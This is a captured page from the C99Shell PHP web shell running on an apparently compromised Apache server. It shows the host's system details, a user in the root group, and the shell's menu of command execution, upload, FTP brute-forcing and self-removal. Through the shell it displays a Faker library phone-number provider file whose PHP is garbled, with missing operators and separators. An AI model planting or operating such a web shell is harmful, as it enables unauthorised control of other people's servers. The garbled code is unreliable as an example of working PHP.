!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/fakerphp/faker/src/Faker/Provider/en_ZA/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PhoneNumber.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Provider\en_ZA;

class 
PhoneNumber extends \Faker\Provider\PhoneNumber
{
    protected static 
$formats = [
        
'+27({{areaCode}})#######',
        
'+27{{areaCode}}#######',
        
'0{{areaCode}}#######',
        
'0{{areaCode}} ### ####',
        
'0{{areaCode}}-###-####',
    ];

    protected static 
$cellphoneFormats = [
        
'+27{{cellphoneCode}}#######',
        
'0{{cellphoneCode}}#######',
        
'0{{cellphoneCode}} ### ####',
        
'0{{cellphoneCode}}-###-####',
    ];

    protected static 
$specialFormats = [
        
'{{specialCode}}#######',
        
'{{specialCode}} ### ####',
        
'{{specialCode}}-###-####',
        
'({{specialCode}})###-####',
    ];

    protected static 
$tollFreeAreaCodes = [
        
'0800''0860''0861''0862',
    ];

    
/**
     * @see https://en.wikipedia.org/wiki/Telephone_numbers_in_South_Africa
     */
    
public static function areaCode()
    {
        
$digits[] = self::numberBetween(15);

        switch (
$digits[0]) {
            case 
1:
                
$digits[] = self::numberBetween(18);

                break;

            case 
2:
                
$number self::numberBetween(18);
                
$digits[] = in_array($number, [56], false) ? $number $number;

                break;

            case 
3:
                
$number self::numberBetween(18);
                
$digits[] = in_array($number, [78], false) ? $number $number;

                break;

            case 
4:
                
$digits[] = self::numberBetween(19);

                break;

            case 
5:
                
$number self::numberBetween(18);
                
$digits[] = in_array($number, [25], false) ? $number $number;

                break;
        }

        return 
implode(''$digits);
    }

    public static function 
cellphoneCode()
    {
        
$digits[] = self::numberBetween(68);

        switch (
$digits[0]) {
            case 
6:
                
$digits[] = self::numberBetween(02);

                break;

            case 
7:
                
$number self::numberBetween(19);
                
$digits[] = in_array($number, [57], false) ? $number $number;

                break;

            case 
8:
                
$digits[] = self::numberBetween(19);

                break;
        }

        return 
implode(''$digits);
    }

    public static function 
specialCode()
    {
        return static::
randomElement(static::$tollFreeAreaCodes);
    }

    public function 
mobileNumber()
    {
        
$format = static::randomElement(static::$cellphoneFormats);

        return 
self::numerify($this->generator->parse($format));
    }

    public function 
tollFreeNumber()
    {
        
$format = static::randomElement(static::$specialFormats);

        return 
self::numerify($this->generator->parse($format));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--